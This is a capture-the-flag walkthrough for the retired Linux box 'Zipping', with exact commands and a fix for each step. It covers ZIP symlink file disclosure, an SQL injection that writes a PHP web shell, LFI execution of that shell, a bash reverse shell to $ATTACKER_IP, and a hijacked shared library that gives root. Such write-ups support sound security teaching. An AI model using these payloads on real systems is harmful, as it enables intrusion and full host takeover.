← all walkthroughs

Zipping

Linux· Medium· Web
owned
2026-09-04
time to own
10m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated the Zipping web host ($TARGET) and found a job-application upload page that extracted uploaded ZIP archives without checking for symlinks. Wrapping a symlink to the shop application's PHP source inside a .pdf-named ZIP leaked the source code of shop/index.php, revealing a weakly-filtered SQL injection in the 'id' parameter.

The SQLi was abused to write a PHP web shell into the world-writable /dev/shm directory, and a companion Local File Inclusion flaw in the 'page' parameter was used to include and execute that web shell, yielding remote code execution as the low-privileged web user. A reverse shell upgraded this to an interactive foothold as user 'rektsu' (user.txt captured).

From there, a sudo rule allowed rektsu to run a custom /usr/bin/stock binary as root; the binary contained a hardcoded password and loaded a shared library from a relative, externally writable path. Planting a malicious shared object with a constructor that called setuid(0) and spawned a root shell completed full compromise of the host (root.txt captured).

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationWeb application enumeration
Mapped the attack surface and identified two distinct PHP applications
A port scan showed only SSH (22) and Apache/PHP (80) exposed. The web root served a 'Zipping Watch store' front end with a job-application file upload at /upload.php, while a separate application at /shop/ was driven by index.php with 'page' and 'id' query parameters — the two components later chained together for code execution.
Nmap: 22/tcp open ssh, 80/tcp open http Apache/2.4.54 (Ubuntu); /shop/index.php exposed page= and id= parameters (title 'Zipping | Home').
Exact commands 3
Confirm only 22 and 80 are open.
nmap -sV -p- $TARGET
Identify the 'Zipping Watch store' landing page and /upload.php form.
curl -sS http://$TARGET/
Identify the second app and its page/id parameters.
curl -sS "http://$TARGET/shop/index.php?page=products"
2ExploitationArbitrary file read via ZIP symlink extraction (CWE-59: Improper Link Resolution)
Leaked the shop application's PHP source via a symlink hidden in an uploaded ZIP
/upload.php required the archived file inside the ZIP to be named with a .pdf extension but did not validate what that entry actually pointed to. Uploading a ZIP containing a symlink named product.pdf that pointed at the shop's index.php, then requesting the extracted file back, caused the server to return the raw PHP source instead of a PDF — disclosing the SQL injection filter and file-include logic used in the next steps.
Curl -sS http://$TARGET/uploads/[REDACTED: sensitive value] returned shop/index.php PHP source, including the id-parameter regex filter and the SQL prepare/execute logic.
Exact commands 4
Symlink name must end .pdf to pass the upload gate; target can be any absolute path on the server.
ln -s /var/www/html/shop/index.php product.pdf
--symlinks is mandatory — without it zip stores file contents, not the link.
zip --symlinks leak.zip product.pdf
Upload; response contains the extraction directory hash.
curl -sS -F 'file=@leak.zip' http://$TARGET/upload.php
The extractor followed the symlink and returned index.php's PHP source.
curl -sS http://$TARGET/uploads/[REDACTED: sensitive value]
FixReject symlinks and validate content when extracting uploaded ZIP archivesCritical
WeaknessThe job-application upload feature extracted ZIP archives server-side without checking whether an entry was a symlink, so a malicious archive could point at any file on disk (e.g. application PHP source) and have it served back through the extraction directory.
FixWhen extracting archives, reject or strip any entry whose type is a symbolic link (check with is_link()/ZipArchiveEntry flags before extraction), extract into an isolated directory with no write access outside it, and validate that resulting file paths stay within the intended output directory (canonicalize and compare prefixes). Verify uploaded content matches the claimed type (e.g. real PDF magic bytes) rather than trusting the filename extension.
3ExploitationSQL Injection with regex-filter bypass, INTO OUTFILE web shell write (CWE-89)
Bypassed the SQL injection filter to write a PHP web shell to disk
The leaked source showed the 'id' filter used a line-anchored regex (^...$) that only validated the first line of input and required a trailing digit. Prefixing the payload with a newline (%0A) and appending a trailing digit in an SQL comment bypassed the filter entirely, enabling a UNION-based SQL injection. Because Apache ran under systemd's PrivateTmp (hiding /tmp), the injected query used INTO OUTFILE to write a PHP web shell to the shared /dev/shm directory instead.
Leaked source: id filter regex only matched the first line (^...$); UNION SELECT ... INTO OUTFILE wrote /dev/shm/shell0904.php (8-column table, only column 1 rendered).
Exact commands 1
Leading newline (%0A) bypasses the line-anchored regex; trailing '-1' satisfies the required trailing digit.
curl -sS --get --data-urlencode $'id=\n-1\' UNION SELECT "<?php system($_REQUEST[\'cmd\']); ?>",2,3,4,5,6,7,8 INTO OUTFILE \'/dev/shm/shell0904.php\'-- -1' --data-urlencode 'page=product' http://$TARGET/shop/index.php
FixFix the SQL injection in the shop's id parameter and use parameterized queriesCritical
WeaknessThe 'id' parameter was checked with a line-anchored regex (^...$) that only validated the first line of input, so a payload prefixed with a newline bypassed the filter entirely and reached a raw SQL query, allowing UNION-based injection and file writes via INTO OUTFILE.
FixBind the id value as a parameter on the prepared statement (never concatenate or interpolate it into the SQL string) and remove reliance on regex filtering for injection prevention. Disable the FILE privilege / secure_file_priv for the application's database user so INTO OUTFILE cannot be abused even if injection recurs.
4ExploitationLocal File Inclusion via unsanitized include path (CWE-98)
Used a Local File Inclusion flaw to execute the planted web shell
The same leaked source showed the 'page' parameter was passed into a file include that appended '.php' and checked file_exists — with no restriction on the resulting path. Requesting page=/dev/shm/shell0904 (without the .php suffix, since the include logic appends it) caused the server to include and execute the previously written web shell, giving arbitrary OS command execution as the web server user.
Curl --get --data-urlencode 'page=/dev/shm/shell0904' --data-urlencode 'cmd=id' returned uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu).
Exact commands 1
Confirms RCE via the included web shell.
curl -sS --get --data-urlencode 'page=/dev/shm/shell0904' --data-urlencode 'cmd=id' http://$TARGET/shop/index.php
FixEliminate the Local File Inclusion in the shop's page parameterCritical
WeaknessThe 'page' parameter was passed directly into a file include (with a '.php' suffix appended and a file_exists check) without restricting it to a fixed set of known page names, letting an unauthorised user include and execute arbitrary files such as an uploaded web shell.
FixReplace dynamic includes with a whitelist/allow-list mapping fixed page keys to specific template files (e.g. a switch statement or associative array), and never derive an include path directly from user input. Disable PHP execution in writable directories like /dev/shm and /tmp equivalents where feasible.
5FootholdReverse shell via web shell command injection
Upgraded command execution to an interactive shell as rektsu and captured user.txt
The web shell's command execution was used to launch a reverse shell back to my own listener, converting one-shot RCE into a full interactive session running as the low-privileged local account rektsu.
Id run in the resulting shell returned uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu); /home/rektsu/user.txt read.
Exact commands 4
Local listener.
nc -lvnp 443
Trigger a reverse shell to the listener; replace $ATTACKER_IP.
curl -sS --get --data-urlencode 'page=/dev/shm/shell0904' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1'" http://$TARGET/shop/index.php
Proves the shell is running as rektsu.
id
Replace output with <user.txt> when reporting.
cat /home/rektsu/user.txt
6Privilege Escalation ReconSudo NOPASSWD misconfiguration + hardcoded credential + relative-path library load
Found a sudo-permitted custom binary with a hardcoded password
As rektsu, checking sudo permissions showed the account could run /usr/bin/stock as root with no password prompt for sudo itself. Extracting embedded strings from the binary revealed a hardcoded credential ('[REDACTED: recovered credential]'), and tracing its file access showed it loaded a shared library, .config/libcounter.so, from the current working directory using a relative path — a hijackable dependency.
Strace -f -e trace=openat,open,access sudo /usr/bin/stock revealed openat(..."libaudit.so"...) and library resolution walking through the CWD; ltrace confirmed '.config/libcounter.so' loaded relative to CWD.
Exact commands 4
Confirms (ALL) NOPASSWD: /usr/bin/stock.
sudo -l
Recovers the hardcoded password [REDACTED: recovered credential]
strings /usr/bin/stock | grep -i -B2 -A2 manager
Shows the binary dlopen()s .config/libcounter.so via a relative path.
ltrace -f /usr/bin/stock 2>&1 | grep openat
Confirms the relative-path library load under sudo.
printf "$PASSWORD\n3\n" | strace -f -e trace=openat,open,access sudo /usr/bin/stock 2>&1
FixRemove the sudo NOPASSWD rule and hardcoded credential on /usr/bin/stockHigh
WeaknessThe rektsu account could run /usr/bin/stock as root via sudo with no sudo password prompt, and the binary itself contained a hardcoded, extractable password used as its own internal gate — giving any local user with sudo rights an easy path to a root-context process.
FixRemove the NOPASSWD sudoers entry for /usr/bin/stock (or the entry entirely if the tool isn't operationally required for rektsu) and require sudo's own password prompt. Remove the hardcoded credential from the binary and replace it with a proper secrets-managed authentication check, or eliminate the standalone binary in favor of a vetted admin workflow.
7Privilege EscalationDynamic Linker / Shared Library Hijacking via relative-path search (T1574.006)
Hijacked the relative-path shared library to gain a root shell
Because /usr/bin/stock loaded .config/libcounter.so by relative path from the current working directory, planting a malicious shared object with that exact name in ~/.config and running the binary from the home directory caused it to load and execute my code inside the root-privileged sudo process. The malicious library's constructor called setuid(0)/setgid(0) and spawned a root-owned bash shell.
Post-exploitation check /dev/shm/zipping_root_id returned uid=0(root) gid=0(root) groups=0(root).
Exact commands 5
Constructor runs automatically when the library is loaded.
cat > lib.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
static void x() __attribute__((constructor));
void x(){ setuid(0); setgid(0); system("/bin/bash -p"); }
EOF
Build the malicious shared object at the exact relative path the binary loads.
mkdir -p ~/.config && gcc -shared -fPIC -o ~/.config/libcounter.so lib.c
Run from home so ./.config/libcounter.so resolves; supply the hardcoded password and menu option 3.
cd ~ && printf "$PASSWORD\n3\n" | sudo /usr/bin/stock
Confirms uid=0(root).
id
Replace output with <root.txt> when reporting.
cat /root/root.txt
FixLoad shared libraries by absolute path and harden the sudo execution environmentCritical
Weakness/usr/bin/stock resolved its dependency .config/libcounter.so using a relative path based on the process's current working directory, so a local user could plant a malicious library in a writable location and have it loaded and executed with root privileges when the binary ran under sudo.
FixRebuild the application to load its libraries by absolute, fixed path (or embed/statically link them) rather than relying on relative-path or CWD-based resolution. Additionally configure sudo to reset the environment and working directory (use_pty, secure_path, and an explicit cwd=/ in the sudoers rule) so a hijacked relative path cannot be steered by the invoking user's shell location.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp